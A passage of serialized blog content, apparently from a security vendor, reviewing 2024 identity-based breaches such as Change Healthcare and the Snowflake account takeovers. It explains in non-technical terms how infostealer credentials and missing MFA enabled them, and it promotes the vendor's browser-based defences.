enabled, as the initial breach vector for the attack. ",{"data":74752,"content":74753,"nodeType":860},{},[74754],{"data":74755,"marks":74756,"value":74757,"nodeType":864},{},[],"Following the attack, the organization's IT team replaced thousands of laptops, rotated credentials, and completely rebuilt Change Healthcare's data center network and core services.",{"data":74759,"content":74760,"nodeType":860},{},[74761],{"data":74762,"marks":74763,"value":74764,"nodeType":864},{},[],"The UnitedHealth Group admitted to paying a ransom demand to receive a decryptor and for the threat actors to delete the stolen data. The ransom payment was allegedly $22 million, according to the BlackCat ransomware affiliate who conducted the attack.",{"data":74766,"content":74767,"nodeType":1312},{},[74768],{"data":74769,"marks":74770,"value":74772,"nodeType":864},{},[74771],{"type":899},"#1: Snowflake — April-June 2024",{"data":74774,"content":74775,"nodeType":860},{},[74776],{"data":74777,"marks":74778,"value":74779,"nodeType":864},{},[],"165 organizations around the world were targeted using stolen credentials gathered from infostealer infections dating back to 2020. The impacted accounts lacked MFA, meaning successful authentication only required a valid username and password. As the Snowflake credentials found in infostealer malware credential dumps had not been rotated or updated, they remained valid and could be used to authenticate to user accounts on Snowflake tenants belonging to various customers. It has been touted by some news outlets as ‘one of the biggest breaches ever’. ",{"data":74781,"content":74782,"nodeType":860},{},[74783],{"data":74784,"marks":74785,"value":74786,"nodeType":864},{},[],"In total, nine public victims were named following the breach, collectively impacting hundreds of millions of their respective customers. Data was put up for sale on criminal forums for fees ranging from $150k to $2m per organization, while AT&T was also confirmed as paying an undisclosed ransom fee. ",{"data":74788,"content":74792,"nodeType":996},{"target":74789},{"sys":74790},{"id":74791,"type":1001,"linkType":1002},"68txz4KkLmCX2hF9QySUZs",[],{"data":74794,"content":74795,"nodeType":1005},{},[],{"data":74797,"content":74798,"nodeType":1009},{},[74799],{"data":74800,"marks":74801,"value":74803,"nodeType":864},{},[74802],{"type":899},"Identity attacks vs. other attacks in 2024",{"data":74805,"content":74806,"nodeType":860},{},[74807],{"data":74808,"marks":74809,"value":74810,"nodeType":864},{},[],"In many ways, 2024 was a year of identity attacks. The attacks on Snowflake customers was unarguably one of (if not the most) significant cyber security event of the year (at least, if you exclude CrowdStrike causing a worldwide outage in July) — certainly, it was the largest perpetrated by a criminal group against commercial enterprises. ",{"data":74812,"content":74813,"nodeType":860},{},[74814],{"data":74815,"marks":74816,"value":74817,"nodeType":864},{},[],"Arguably the biggest non-identity story of the year was the Chinese state-sponsored “Salt Typhoon” campaign against global telecommunications firms, with at least nine major providers compromised — including AT&T, Verizon, and T-Mobile. The group reportedly focused on infiltrating telecommunications infrastructure to steal text messages, phone call information, and voicemails from targeted people. The threat actors also targeted the wiretapping platforms used by the US government, raising serious national security concerns.",{"data":74819,"content":74820,"nodeType":860},{},[74821],{"data":74822,"marks":74823,"value":74824,"nodeType":864},{},[],"Undoubtedly this was one of the biggest intelligence compromises in US history and is of major significance. But it’s also arguable that identity attacks had a more widespread commercial impact in 2024 when we look at the big picture.   ",{"data":74826,"content":74827,"nodeType":860},{},[74828],{"data":74829,"marks":74830,"value":74831,"nodeType":864},{},[],"Attacks on edge networking devices were also incredibly prominent, as were very much interlinked with the targeting of telecommunications infrastructure. A barrage of 0-days generated a huge amount of concern about the software security practices of many vendors. ",{"data":74833,"content":74834,"nodeType":860},{},[74835],{"data":74836,"marks":74837,"value":74838,"nodeType":864},{},[],"But despite these honorable mentions, the runaway threat of the year was an identity-based one… ",{"data":74840,"content":74841,"nodeType":1005},{},[],{"data":74843,"content":74844,"nodeType":1009},{},[74845],{"data":74846,"marks":74847,"value":74849,"nodeType":864},{},[74848],{"type":899},"Threat of the year: Infostealers",{"data":74851,"content":74852,"nodeType":860},{},[74853],{"data":74854,"marks":74855,"value":74856,"nodeType":864},{},[],"2024 saw an unprecedented rise in the role of infostealers. The played a huge role in the attacks on Snowflake customers, where 80% of the accounts were targeted using credentials found in infostealer infections. ",{"data":74858,"content":74859,"nodeType":860},{},[74860],{"data":74861,"marks":74862,"value":74863,"nodeType":864},{},[],"News relating to new infostealer variants and distributions campaigns came thick and fast in 2024, as attackers sought to harvest credentials from victims to use as part of their own malicious campaigns, or to sell on to other criminals on underground marketplaces for compromised credentials. Attackers leaned into alternative distribution channels, branching away from email-based campaigns to target victims via gaming forums, Facebook ads, and YouTube video descriptions. GitHub was also continuously targeted as a malware distribution mechanism throughout the year — and the majority of the time it was to push infostealers. ",{"data":74865,"content":74866,"nodeType":860},{},[74867],{"data":74868,"marks":74869,"value":74870,"nodeType":864},{},[],"Infostealers are the weapon of choice for attackers looking to harvest credentials at scale. Compared to credential harvesting phishing campaigns, infostealers target a much broader range of credentials, taking everything saved in the victim’s browser (and often also from local apps, including password managers).",{"data":74872,"content":74873,"nodeType":860},{},[74874],{"data":74875,"marks":74876,"value":74877,"nodeType":864},{},[],"Infostealers are nothing new, but have historically been seen as a problem affecting less secure personal devices and accounts. But 2024 has demonstrated that infostealers are finding ways to harvest business data — by finding ways around controls like EDR, and because of the ways that personal and business identities and accounts are converging in the modern workplace. For example, it’s not uncommon for employees to log into their personal Google account on their work device (and vice versa), inadvertently saving corporate credentials to their personal password store — which is later compromised through an infostealer infection on a personal device. ",{"data":74879,"content":74880,"nodeType":860},{},[74881],{"data":74882,"marks":74883,"value":74884,"nodeType":864},{},[],"The impact of infostealers (and the resulting stolen credentials and session cookies) is underlined by various figures:",{"data":74886,"content":74887,"nodeType":941},{},[74888,74908,74930,74952,74972],{"data":74889,"content":74890,"nodeType":945},{},[74891],{"data":74892,"content":74893,"nodeType":860},{},[74894,74898,74905],{"data":74895,"marks":74896,"value":74897,"nodeType":864},{},[],"79% of web application compromises were the result of breached credentials (",{"data":74899,"content":74900,"nodeType":883},{"uri":4408},[74901],{"data":74902,"marks":74903,"value":56111,"nodeType":864},{},[74904],{"type":1455},{"data":74906,"marks":74907,"value":70256,"nodeType":864},{},[],{"data":74909,"content":74910,"nodeType":945},{},[74911],{"data":74912,"content":74913,"nodeType":860},{},[74914,74918,74927],{"data":74915,"marks":74916,"value":74917,"nodeType":864},{},[],"Infostealer activity increased by 266% in 2023, while the number of attacks featuring valid credentials saw a 71% increase year-over-year (",{"data":74919,"content":74921,"nodeType":883},{"uri":74920},"https://www.ibm.com/downloads/cas/L0GKXDWJ",[74922],{"data":74923,"marks":74924,"value":74926,"nodeType":864},{},[74925],{"type":1455},"IBM",{"data":74928,"marks":74929,"value":70256,"nodeType":864},{},[],{"data":74931,"content":74932,"nodeType":945},{},[74933],{"data":74934,"content":74935,"nodeType":860},{},[74936,74940,74949],{"data":74937,"marks":74938,"value":74939,"nodeType":864},{},[],"Nearly half of the malware detected last year targeted victims’ data specifically, and the majority of that malware was classified as infostealers (",{"data":74941,"content":74943,"nodeType":883},{"uri":74942},"https://news.sophos.com/en-us/2024/03/12/2024-sophos-threat-report/",[74944],{"data":74945,"marks":74946,"value":74948,"nodeType":864},{},[74947],{"type":1455},"Sophos",{"data":74950,"marks":74951,"value":70256,"nodeType":864},{},[],{"data":74953,"content":74954,"nodeType":945},{},[74955],{"data":74956,"content":74957,"nodeType":860},{},[74958,74962,74969],{"data":74959,"marks":74960,"value":74961,"nodeType":864},{},[],"39,000 session token attacks are detected per day (",{"data":74963,"content":74964,"nodeType":883},{"uri":70247},[74965],{"data":74966,"marks":74967,"value":28841,"nodeType":864},{},[74968],{"type":1455},{"data":74970,"marks":74971,"value":70256,"nodeType":864},{},[],{"data":74973,"content":74974,"nodeType":945},{},[74975],{"data":74976,"content":74977,"nodeType":860},{},[74978,74982,74991],{"data":74979,"marks":74980,"value":74981,"nodeType":864},{},[],"Attacks on session cookies happen at the same rough order of magnitude as password-based attacks (",{"data":74983,"content":74985,"nodeType":883},{"uri":74984},"https://github.com/WICG/dbsc/issues/13#issuecomment-1977657864",[74986],{"data":74987,"marks":74988,"value":74990,"nodeType":864},{},[74989],{"type":1455},"Google",{"data":74992,"marks":74993,"value":70256,"nodeType":864},{},[],{"data":74995,"content":74996,"nodeType":860},{},[74997,75001,75006],{"data":74998,"marks":74999,"value":75000,"nodeType":864},{},[],"And of the confirmed identity-based breaches in the public domain that we identified, ",{"data":75002,"marks":75003,"value":75005,"nodeType":864},{},[75004],{"type":899},"a whopping 73% were the result of compromised credentials ",{"data":75007,"marks":75008,"value":75009,"nodeType":864},{},[],"(the rest were phishing attacks). ",{"data":75011,"content":75012,"nodeType":860},{},[75013],{"data":75014,"marks":75015,"value":75016,"nodeType":864},{},[],"As the primary source of compromised credentials, it’s fair to say that infostealers deserve the top spot for 2024.",{"data":75018,"content":75022,"nodeType":996},{"target":75019},{"sys":75020},{"id":75021,"type":1001,"linkType":1002},"7mMQEYQTXKAajIGFviDJKt",[],{"data":75024,"content":75025,"nodeType":1005},{},[],{"data":75027,"content":75028,"nodeType":1009},{},[75029],{"data":75030,"marks":75031,"value":75033,"nodeType":864},{},[75032],{"type":899},"Defend against infostealers with Push",{"data":75035,"content":75036,"nodeType":860},{},[75037],{"data":75038,"marks":75039,"value":75040,"nodeType":864},{},[],"As a browser-based identity security platform designed to stop identity attacks, Push helps organizations to defend against the rise in infostealers by:",{"data":75042,"content":75043,"nodeType":941},{},[75044,75077,75098],{"data":75045,"content":75046,"nodeType":945},{},[75047],{"data":75048,"content":75049,"nodeType":860},{},[75050,75053,75061,75065,75073],{"data":75051,"marks":75052,"value":21,"nodeType":864},{},[],{"data":75054,"content":75055,"nodeType":883},{"uri":68809},[75056],{"data":75057,"marks":75058,"value":75060,"nodeType":864},{},[75059],{"type":1455},"Alerting you whenever the valid credentials your employees are using appear in a compromised credential data feed",{"data":75062,"marks":75063,"value":75064,"nodeType":864},{},[],", which can be leveraged to ",{"data":75066,"content":75067,"nodeType":883},{"uri":70184},[75068],{"data":75069,"marks":75070,"value":75072,"nodeType":864},{},[75071],{"type":1455},"trigger automated password resets",{"data":75074,"marks":75075,"value":75076,"nodeType":864},{},[]," whenever an event fires and is received by your SIEM tool.",{"data":75078,"content":75079,"nodeType":945},{},[75080],{"data":75081,"content":75082,"nodeType":860},{},[75083,75086,75094],{"data":75084,"marks":75085,"value":21,"nodeType":864},{},[],{"data":75087,"content":75088,"nodeType":883},{"uri":70601},[75089],{"data":75090,"marks":75091,"value":75093,"nodeType":864},{},[75092],{"type":1455},"Detecting session hijacking attacks using stolen cookies to identify when an attacker logs into an app",{"data":75095,"marks":75096,"value":75097,"nodeType":864},{},[]," from an unmanaged device without the Push browser extension — this can also be used to detect suspicious access in general!",{"data":75099,"content":75100,"nodeType":945},{},[75101],{"data":75102,"content":75103,"nodeType":860},{},[75104],{"data":75105,"marks":75106,"value":75107,"nodeType":864},{},[],"Enabling you to enforce MFA the next time an employee logs into an app (even when the app itself doesn’t allow you to enforce mandatory MFA) — particularly handy if a weak, breached, or reused password is detected for their account!  ",{"data":75109,"content":75110,"nodeType":860},{},[75111],{"data":75112,"marks":75113,"value":75114,"nodeType":864},{},[],"And much, much more. ",{"data":75116,"content":75117,"nodeType":860},{},[75118,75122,75129],{"data":75119,"marks":75120,"value":75121,"nodeType":864},{},[],"If you’d like to explore the platform yourself and discover more of our great features, you can ",{"data":75123,"content":75124,"nodeType":883},{"uri":1700},[75125],{"data":75126,"marks":75127,"value":73861,"nodeType":864},{},[75128],{"type":1455},{"data":75130,"marks":75131,"value":2924,"nodeType":864},{},[],"Looking back on identity-based breaches in 2024","Reviewing public breaches that stemmed from identity attacks in 2024. ","2025-01-10T00:00:00.000Z","2024-identity-breaches",{"items":75137},[75138],{"sys":75139,"name":6593},{"id":6592},{"items":75141},[75142],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":75143},{"url":2740},{"__typename":2059,"sys":75145,"content":75147,"title":75936,"synopsis":75937,"hashTags":59,"publishedDate":75938,"slug":75939,"tagsCollection":75940,"authorsCollection":75944},{"id":75146},"PAPJPr3CIB6J20udYyy1r",{"json":75148},{"data":75149,"content":75150,"nodeType":856},{},[75151,75157,75177,75184,75191,75197,75200,75208,75215,75233,75244,75251,75258,75265,75358,75361,75369,75452,75458,75461,75469,75477,75484,75491,75499,75516,75523,75531,75538,75545,75553,75560,75567,75587,75593,75596,75604,75612,75619,75723,75730,75738,75745,75752,75758,75766,75773,75780,75787,75795,75802,75809,75816,75823,75829,75832,75840,75847,75880,75887,75905,75924,75930],{"data":75152,"content":75156,"nodeType":996},{"target":75153},{"sys":75154},{"id":75155,"type":1001,"linkType":1002},"1eBClNW4NOR66F0tl9h6lD",[],{"data":75158,"content":75159,"nodeType":860},{},[75160,75164,75173],{"data":75161,"marks":75162,"value":75163,"nodeType":864},{},[],"The attacks on Snowflake customers in 2024 collectively constituted the biggest cyber security event of the year in terms of the number of organizations and individuals affected (at least, if you exclude CrowdStrike causing a worldwide outage in July) — certainly, it was the largest perpetrated by a criminal group against commercial enterprises. It has been touted by some news outlets as ‘",{"data":75165,"content":75167,"nodeType":883},{"uri":75166},"https://www.wired.com/story/snowflake-breach-advanced-auto-parts-lendingtree/",[75168],{"data":75169,"marks":75170,"value":75172,"nodeType":864},{},[75171],{"type":1455},"one of the biggest breaches ever",{"data":75174,"marks":75175,"value":75176,"nodeType":864},{},[],"’.  ",{"data":75178,"content":75179,"nodeType":860},{},[75180],{"data":75181,"marks":75182,"value":75183,"nodeType":864},{},[],"Snowflake was a watershed moment that signalled the significant opportunity presented by identity attacks on cloud services. It demonstrated how comparatively unsophisticated methods (logging in to user accounts with stolen credentials and dumping the data) can have the same or greater impact as a traditional network or endpoint based cyber attack involving vulnerability exploitation, malware deployment, ransomware, etc. ",{"data":75185,"content":75186,"nodeType":860},{},[75187],{"data":75188,"marks":75189,"value":75190,"nodeType":864},{},[],"Here’s everything you need to know about the Snowflake attacks — and what you can do to protect yourself against the next Snowflake in the future.",{"data":75192,"content":75196,"nodeType":996},{"target":75193},{"sys":75194},{"id":75195,"type":1001,"linkType":1002},"4QoPUiP5q6Mwj1eWUZT15Q",[],{"data":75198,"content":75199,"nodeType":1005},{},[],{"data":75201,"content":75202,"nodeType":1009},{},[75203],{"data":75204,"marks":75205,"value":75207,"nodeType":864},{},[75206],{"type":899},"Snowflake: The facts",{"data":75209,"content":75210,"nodeType":860},{},[75211],{"data":75212,"marks":75213,"value":75214,"nodeType":864},{},[],"Cyber criminals associated with the threat group known as ShinyHunters claimed responsibility for breaching multiple organizations using Snowflake, a cloud-based data warehousing and analytics platform. ",{"data":75216,"content":75217,"nodeType":860},{},[75218,75222,75230],{"data":75219,"marks":75220,"value":75221,"nodeType":864},{},[],"ShinyHunters associates targeted ~165 organizations that were subjected to account takeover attacks using stolen credentials harvested from historical infostealer infections dating back as far as 2020, ",{"data":75223,"content":75224,"nodeType":883},{"uri":35131},[75225],{"data":75226,"marks":75227,"value":75229,"nodeType":864},{},[75228],{"type":1455},"according to Mandiant’s investigation",{"data":75231,"marks":75232,"value":25428,"nodeType":864},{},[],{"data":75234,"content":75235,"nodeType":1116},{},[75236],{"data":75237,"content":75238,"nodeType":860},{},[75239],{"data":75240,"marks":75241,"value":75243,"nodeType":864},{},[75242],{"type":899},">80% of the compromised accounts belonging to Snowflake customers had prior credential exposure. ",{"data":75245,"content":75246,"nodeType":860},{},[75247],{"data":75248,"marks":75249,"value":75250,"nodeType":864},{},[],"The impacted accounts lacked MFA, meaning successful authentication only required a valid username and password. As the Snowflake credentials found in infostealer malware credential dumps had not been rotated or updated, they remained valid and could be used to authenticate to user accounts on Snowflake tenants belonging to various customers.",{"data":75252,"content":75253,"nodeType":860},{},[75254],{"data":75255,"marks":75256,"value":75257,"nodeType":864},{},[],"As a data warehousing platform integrated with a range of connected cloud services, access to a customer’s Snowflake tenant provided attackers with large quantities of sensitive commercial and personal data that could be stolen and monetized by attackers in a variety of ways — such as by ransoming the victim organization, extorting individual end-customers, and selling the data on to other criminal organizations. ",{"data":75259,"content":75260,"nodeType":860},{},[75261],{"data":75262,"marks":75263,"value":75264,"nodeType":864},{},[],"In total, 9 public victims were named following the breach, collectively impacting hundreds of millions of people. ",{"data":75266,"content":75267,"nodeType":941},{},[75268,75278,75288,75298,75308,75318,75328,75338,75348],{"data":75269,"content":75270,"nodeType":945},{},[75271],{"data":75272,"content":75273,"nodeType":860},{},[75274],{"data":75275,"marks":75276,"value":75277,"nodeType":864},{},[],"Lending Tree: Sensitive data for over 190 million people available online including customer details, partial credit card numbers, insurance quotes and other information, being sold for $2m.",{"data":75279,"content":75280,"nodeType":945},{},[75281],{"data":75282,"content":75283,"nodeType":860},{},[75284],{"data":75285,"marks":75286,"value":75287,"nodeType":864},{},[],"Truist Bank: Information belonging to 65,000 employees being sold online for $1m",{"data":75289,"content":75290,"nodeType":945},{},[75291],{"data":75292,"content":75293,"nodeType":860},{},[75294],{"data":75295,"marks":75296,"value":75297,"nodeType":864},{},[],"Advance Auto Parts: 3TB of data for sale for $1.5 million. Affected 2.3 million people, as well as current and former employees and job applicants.",{"data":75299,"content":75300,"nodeType":945},{},[75301],{"data":75302,"content":75303,"nodeType":860},{},[75304],{"data":75305,"marks":75306,"value":75307,"nodeType":864},{},[],"Pure Storage: Workspace with 11k customer records including company, email, LDAP username and software version numbers.",{"data":75309,"content":75310,"nodeType":945},{},[75311],{"data":75312,"content":75313,"nodeType":860},{},[75314],{"data":75315,"marks":75316,"value":75317,"nodeType":864},{},[],"Los Angeles Unified: Student data, disability information, discipline details, and parent information, being sold online for $150k.",{"data":75319,"content":75320,"nodeType":945},{},[75321],{"data":75322,"content":75323,"nodeType":860},{},[75324],{"data":75325,"marks":75326,"value":75327,"nodeType":864},{},[],"Neiman Marcus: 31m email addresses exposed alongside various personal information.",{"data":75329,"content":75330,"nodeType":945},{},[75331],{"data":75332,"content":75333,"nodeType":860},{},[75334],{"data":75335,"marks":75336,"value":75337,"nodeType":864},{},[],"Santander: 30 million customer details for sale relating to customers of Santander Chile, Spain, and Uruguay.",{"data":75339,"content":75340,"nodeType":945},{},[75341],{"data":75342,"content":75343,"nodeType":860},{},[75344],{"data":75345,"marks":75346,"value":75347,"nodeType":864},{},[],"Ticketmaster: 560 million customer details for sale, disruption to events and ticketing worldwide, increasing in scam ticket production.",{"data":75349,"content":75350,"nodeType":945},{},[75351],{"data":75352,"content":75353,"nodeType":860},{},[75354],{"data":75355,"marks":75356,"value":75357,"nodeType":864},{},[],"AT&T: Call logs stolen for approximately 109 million customers (nearly all of its mobile customers). AT&T paid an undisclosed ransom fee. ",{"data":75359,"content":75360,"nodeType":1005},{},[],{"data":75362,"content":75363,"nodeType":1009},{},[75364],{"data":75365,"marks":75366,"value":75368,"nodeType":864},{},[75367],{"type":899},"The Snowflake attacks step-by-step",{"data":75370,"content":75371,"nodeType":941},{},[75372,75382,75392,75402,75412,75422,75432,75442],{"data":75373,"content":75374,"nodeType":945},{},[75375],{"data":75376,"content":75377,"nodeType":860},{},[75378],{"data":75379,"marks":75380,"value":75381,"nodeType":864},{},[],"Snowflake users were infected with infostealer malware that harvested credentials from user devices over an extended period via several infostealer malware variants, including; VIDAR, RISEPRO, REDLINE, RACOON STEALER, LUMMA and METASTEALER.",{"data":75383,"content":75384,"nodeType":945},{},[75385],{"data":75386,"content":75387,"nodeType":860},{},[75388],{"data":75389,"marks":75390,"value":75391,"nodeType":864},{},[],"Credentials appeared on criminal marketplaces e.g. dark web forums and Telegram channels.",{"data":75393,"content":75394,"nodeType":945},{},[75395],{"data":75396,"content":75397,"nodeType":860},{},[75398],{"data":75399,"marks":75400,"value":75401,"nodeType":864},{},[],"ShinyHunters saw the potential in targeting Snowflake users, based on the availability of credentials, number of customer organizations, and the value of the data that can be accessed in Snowflake. ",{"data":75403,"content":75404,"nodeType":945},{},[75405],{"data":75406,"content":75407,"nodeType":860},{},[75408],{"data":75409,"marks":75410,"value":75411,"nodeType":864},{},[],"ShinyHunters embarked on a large-scale campaign targeting Snowflake customer accounts using previously breached credentials. ",{"data":75413,"content":75414,"nodeType":945},{},[75415],{"data":75416,"content":75417,"nodeType":860},{},[75418],{"data":75419,"marks":75420,"value":75421,"nodeType":864},{},[],"ShinyHunters accessed user accounts that lacked MFA, belonging to approximately 165 Snowflake customers. ",{"data":75423,"content":75424,"nodeType":945},{},[75425],{"data":75426,"content":75427,"nodeType":860},{},[75428],{"data":75429,"marks":75430,"value":75431,"nodeType":864},{},[],"ShinyHunters used SQL-based reconnaissance, staging, and data exfiltration techniques, expedited by custom hacker tooling developed specifically for Snowflake, to conduct attacks at scale.",{"data":75433,"content":75434,"nodeType":945},{},[75435],{"data":75436,"content":75437,"nodeType":860},{},[75438],{"data":75439,"marks":75440,"value":75441,"nodeType":864},{},[],"ShinyHunters acquired massive quantities of Snowflake data based on the information that each customer stored in Snowflake or connected apps. ",{"data":75443,"content":75444,"nodeType":945},{},[75445],{"data":75446,"content":75447,"nodeType":860},{},[75448],{"data":75449,"marks":75450,"value":75451,"nodeType":864},{},[],"ShinyHunters began attempts to extort Snowflake and end-customers using the data acquired.",{"data":75453,"content":75457,"nodeType":996},{"target":75454},{"sys":75455},{"id":75456,"type":1001,"linkType":1002},"2J92gFLs1wAAGC4nQTaiWu",[],{"data":75459,"content":75460,"nodeType":1005},{},[],{"data":75462,"content":75463,"nodeType":1009},{},[75464],{"data":75465,"marks":75466,"value":75468,"nodeType":864},{},[75467],{"type":899},"Why did the Snowflake breaches happen?",{"data":75470,"content":75471,"nodeType":1312},{},[75472],{"data":75473,"marks":75474,"value":75476,"nodeType":864},{},[75475],{"type":899},"Stolen credentials remained valid for years",{"data":75478,"content":75479,"nodeType":860},{},[75480],{"data":75481,"marks":75482,"value":75483,"nodeType":864},{},[],"The credentials used to access Snowflake accounts from historical infostealer infections had not been changed or rotated despite dating back as far as 2020, and remained valid. ",{"data":75485,"content":75486,"nodeType":860},{},[75487],{"data":75488,"marks":75489,"value":75490,"nodeType":864},{},[],"This highlights the potential risk of breached credentials already in the public domain, particularly in the case of cloud services like Snowflake that may not be subject to the same levels of credential hygiene as other traditional enterprise domain accounts. ",{"data":75492,"content":75493,"nodeType":1312},{},[75494],{"data":75495,"marks":75496,"value":75498,"nodeType":864},{},[75497],{"type":899},"Local logins lacked MFA ",{"data":75500,"content":75501,"nodeType":860},{},[75502,75506,75513],{"data":75503,"marks":75504,"value":75505,"nodeType":864},{},[],"Even where organizations were primarily encouraging employees to use SSO to access their Snowflake tenant, previously created local logins with a username and password continue to exist even after introducing SSO-based logins. Further, MFA was not globally enforceable at the application level, meaning that MFA was only set when logging into an IdP account for SSO, but not for local logins. We call this problem ",{"data":75507,"content":75508,"nodeType":883},{"uri":13726},[75509],{"data":75510,"marks":75511,"value":13731,"nodeType":864},{},[75512],{"type":1455},{"data":75514,"marks":75515,"value":25428,"nodeType":864},{},[],{"data":75517,"content":75518,"nodeType":860},{},[75519],{"data":75520,"marks":75521,"value":75522,"nodeType":864},{},[],"This meant that attackers were able to take over Snowflake accounts with only a single authentication factor (username & password). ",{"data":75524,"content":75525,"nodeType":1312},{},[75526],{"data":75527,"marks":75528,"value":75530,"nodeType":864},{},[75529],{"type":899},"Snowflake was a high-value target used by many organizations",{"data":75532,"content":75533,"nodeType":860},{},[75534],{"data":75535,"marks":75536,"value":75537,"nodeType":864},{},[],"As a data warehousing platform used by a vast number of organizations, Snowflake represented a high-value target based on the data typically stored within it, and the repeatable way in which Snowflake users could be targeted. ",{"data":75539,"content":75540,"nodeType":860},{},[75541],{"data":75542,"marks":75543,"value":75544,"nodeType":864},{},[],"The attacker followed a near identical process when targeting Snowflake victims, meaning it could be scripted and executed at scale, with attacks taking a matter of minutes. ",{"data":75546,"content":75547,"nodeType":1312},{},[75548],{"data":75549,"marks":75550,"value":75552,"nodeType":864},{},[75551],{"type":899},"Infostealer infections are driving credential availability",{"data":75554,"content":75555,"nodeType":860},{},[75556],{"data":75557,"marks":75558,"value":75559,"nodeType":864},{},[],"Infostealers are often seen as a low-priority issue, but are the primary source of stolen credentials used in campaigns like this one. ",{"data":75561,"content":75562,"nodeType":860},{},[75563],{"data":75564,"marks":75565,"value":75566,"nodeType":864},{},[],"EDR is a strong protection but is often bypassed by infostealers as attackers continually modify them to bypass security controls. Further, unmanaged devices such as those used by third-party contractors or BYOD employees often lack the robust controls applied to company-managed devices and are naturally more susceptible to infostealer attacks. And since browser profiles can be synced across devices, even personal device compromises can result in the capture of corporate credentials.  ",{"data":75568,"content":75569,"nodeType":860},{},[75570,75574,75583],{"data":75571,"marks":75572,"value":75573,"nodeType":864},{},[],"There is some suggestion that targeting key third-party suppliers – ",{"data":75575,"content":75577,"nodeType":883},{"uri":75576},"https://www.wired.com/story/epam-snowflake-ticketmaster-breach-shinyhunters/",[75578],{"data":75579,"marks":75580,"value":75582,"nodeType":864},{},[75581],{"type":1455},"such as EPAM Systems, a software engineering firm and Snowflake ‘Elite Tier Partner’",{"data":75584,"marks":75585,"value":75586,"nodeType":864},{},[]," – provided some of the access to Snowflake customers needed. It’s unclear what came first, but it’s possible (likely, even) that EPAM was identified as a target specifically because of its lucrative customer base and Snowflake credentials — adding another indicator that Snowflake was potentially a premeditated attack inspired by the availability of Snowflake credentials online.",{"data":75588,"content":75592,"nodeType":996},{"target":75589},{"sys":75590},{"id":75591,"type":1001,"linkType":1002},"4D0gjt5oJLNKJH8GzjP8Je",[],{"data":75594,"content":75595,"nodeType":1005},{},[],{"data":75597,"content":75598,"nodeType":1009},{},[75599],{"data":75600,"marks":75601,"value":75603,"nodeType":864},{},[75602],{"type":899},"Key takeaways from the Snowflake attacks",{"data":75605,"content":75606,"nodeType":1312},{},[75607],{"data":75608,"marks":75609,"value":75611,"nodeType":864},{},[75610],{"type":899},"Securing your IdP accounts is not enough",{"data":75613,"content":75614,"nodeType":860},{},[75615],{"data":75616,"marks":75617,"value":75618,"nodeType":864},{},[],"SSO can help reduce your identity attack surface, but it's not feasible to get every workforce identity behind it.",{"data":75620,"content":75621,"nodeType":941},{},[75622,75645,75666,75701],{"data":75623,"content":75624,"nodeType":945},{},[75625],{"data":75626,"content":75627,"nodeType":860},{},[75628,75632,75641],{"data":75629,"marks":75630,"value":75631,"nodeType":864},{},[],"Only 1 in 3 apps support SAML SSO, and those that offer it often charge more for it; the “",{"data":75633,"content":75635,"nodeType":883},{"uri":75634},"https://ssotax.org/",[75636],{"data":75637,"marks":75638,"value":75640,"nodeType":864},{},[75639],{"type":1455},"SSO tax",{"data":75642,"marks":75643,"value":75644,"nodeType":864},{},[],"”.",{"data":75646,"content":75647,"nodeType":945},{},[75648],{"data":75649,"content":75650,"nodeType":860},{},[75651,75655,75663],{"data":75652,"marks":75653,"value":75654,"nodeType":864},{},[],"Many apps are self-adopted by employees, leaving security teams unaware and unable to enforce SSO.  The typical organization has ",{"data":75656,"content":75657,"nodeType":883},{"uri":13714},[75658],{"data":75659,"marks":75660,"value":75662,"nodeType":864},{},[75661],{"type":1455},"hundreds of apps and thousands of unmanaged identities outside of SSO",{"data":75664,"marks":75665,"value":2924,"nodeType":864},{},[],{"data":75667,"content":75668,"nodeType":945},{},[75669],{"data":75670,"content":75671,"nodeType":860},{},[75672,75676,75684,75688,75697],{"data":75673,"marks":75674,"value":75675,"nodeType":864},{},[],"Most apps do not prevent users from creating additional \"",{"data":75677,"content":75678,"nodeType":883},{"uri":13726},[75679],{"data":75680,"marks":75681,"value":75683,"nodeType":864},{},[75682],{"type":1455},"ghost login",{"data":75685,"marks":75686,"value":75687,"nodeType":864},{},[],"\" methods outside of SSO (especially by default), accounting for around ",{"data":75689,"content":75691,"nodeType":883},{"uri":75690},"https://pushsecurity.com/blog/how-many-vulnerable-identities-do-you-have/#id-identity-configurations-and-how-they-can-be-exploited_id-many-accounts-lack-the-most-basic-protections",[75692],{"data":75693,"marks":75694,"value":75696,"nodeType":864},{},[75695],{"type":1455},"10% of all identities",{"data":75698,"marks":75699,"value":75700,"nodeType":864},{},[]," observed by Push. ",{"data":75702,"content":75703,"nodeType":945},{},[75704],{"data":75705,"content":75706,"nodeType":860},{},[75707,75711,75719],{"data":75708,"marks":75709,"value":75710,"nodeType":864},{},[],"In total, we identified that ",{"data":75712,"content":75713,"nodeType":883},{"uri":13714},[75714],{"data":75715,"marks":75716,"value":75718,"nodeType":864},{},[75717],{"type":1455},"37% (2 in 5) accounts have a password login set with no MFA",{"data":75720,"marks":75721,"value":75722,"nodeType":864},{},[],", while 9% have no MFA AND a weak, breached, or reused password.",{"data":75724,"content":75725,"nodeType":860},{},[75726],{"data":75727,"marks":75728,"value":75729,"nodeType":864},{},[],"So, relying on locked-down IdP accounts and maximising the use of SSO is an important pillar of an effective identity security strategy, but there will always be gaps. Unless you recognize this, you may be blindsided by attackers finding them before you do. ",{"data":75731,"content":75732,"nodeType":1312},{},[75733],{"data":75734,"marks":75735,"value":75737,"nodeType":864},{},[75736],{"type":899},"The threat of infostealers and stolen credentials needs to be taken seriously",{"data":75739,"content":75740,"nodeType":860},{},[75741],{"data":75742,"marks":75743,"value":75744,"nodeType":864},{},[],"Breached credentials appearing online is not always seen as a top priority for security teams, particularly when there’s so much noise from all of the outdated or simply erroneous findings (anyone that’s ever subscribed to a credential TI feed knows the pain of this). ",{"data":75746,"content":75747,"nodeType":860},{},[75748],{"data":75749,"marks":75750,"value":75751,"nodeType":864},{},[],"But Snowflake serves as a stark reminder that despite all the false positives, stolen credentials are sometimes valid — and when weaponized at-scale they can be a powerful tool for attackers. ",{"data":75753,"content":75757,"nodeType":996},{"target":75754},{"sys":75755},{"id":75756,"type":1001,"linkType":1002},"4EODpwKsqNivpvP2yMtZCd",[],{"data":75759,"content":75760,"nodeType":1312},{},[75761],{"data":75762,"marks":75763,"value":75765,"nodeType":864},{},[75764],{"type":899},"Don’t rely on third-parties to protect your identities for 